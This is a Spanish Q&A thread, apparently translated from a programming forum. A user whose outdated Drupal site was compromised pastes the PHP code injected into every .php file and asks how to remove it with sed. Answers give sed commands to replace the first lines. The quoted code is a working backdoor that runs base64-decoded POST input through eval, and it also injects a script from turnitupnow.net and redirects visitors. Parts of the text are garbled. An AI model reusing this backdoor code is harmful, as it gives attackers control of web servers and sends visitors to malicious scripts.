matriculas - sed-e linux
sed, reemplace la primera lĂnea (2)
Me han pirateado al ejecutar una instalación Drupal realmente desactualizada (lástima de mí)
Parece que inyectaron lo siguiente en cada archivo .php
;
<?php global $sessdt_o; if(!$sessdt_o) {
$sessdt_o = 1; $sessdt_k = "lb11";
if(!@$_COOKIE[$sessdt_k]) {
$sessdt_f = "102";
if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); }
else { echo "<script>document.cookie=''".$sessdt_k."=".$sessdt_f."'';</script>"; }
}
else {
if($_COOKIE[$sessdt_k]=="102") {
$sessdt_f = (rand(1000,9000)+1);
if(!@headers_sent()) {
@setcookie($sessdt_k,$sessdt_f); }
else { echo "<script>document.cookie=''".$sessdt_k."=".$sessdt_f."'';</script>"; }
sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"];
$sessdt_v = urlencode(strrev($sessdt_j));
$sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200);
echo "<script src=''$sessdt_u''></script>";
echo "<meta http-equiv=''refresh'' content=''0;url=http://$sessdt_j''><!--";
}
}
$sessdt_p = "showimg";
if(isset($_POST[$sessdt_p])){
eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));
exit;
}
}
¿Puedo eliminar y reemplazar esto con sed
? p.ej:
find . -name *.php | xargs ...
Espero que el sitio funcione solo por el momento para usar wget e hice una copia estática.
Para reemplazar la primera línea de un archivo, puede usar el comando c
(para "cambiar") de sed
:
sed ''1c<?php''
que se traduce en: "en la línea 1, reemplace el espacio del patrón con <?php
".
Para este problema en particular, sin embargo, algo como esto probablemente funcione:
sed ''1,/^$/c<?php''
que dice: cambie el rango "línea 1 a la primera línea vacía" a <?php
, reemplazando así todo código inyectado.
(La segunda parte de la dirección (la expresión regular /^$/
) debería reemplazarse por una expresión que de hecho delimitaría el código inyectado, si no es una línea vacía).
Puedes usar sed
con algo como
sed ''1 s/^.*$/<?php/''
La 1
parte solo reemplaza la primera línea. Luego, gracias al comando s
, reemplaza toda la línea por <?php
.
Para modificar sus archivos in situ, use la opción -i
de GNU sed
.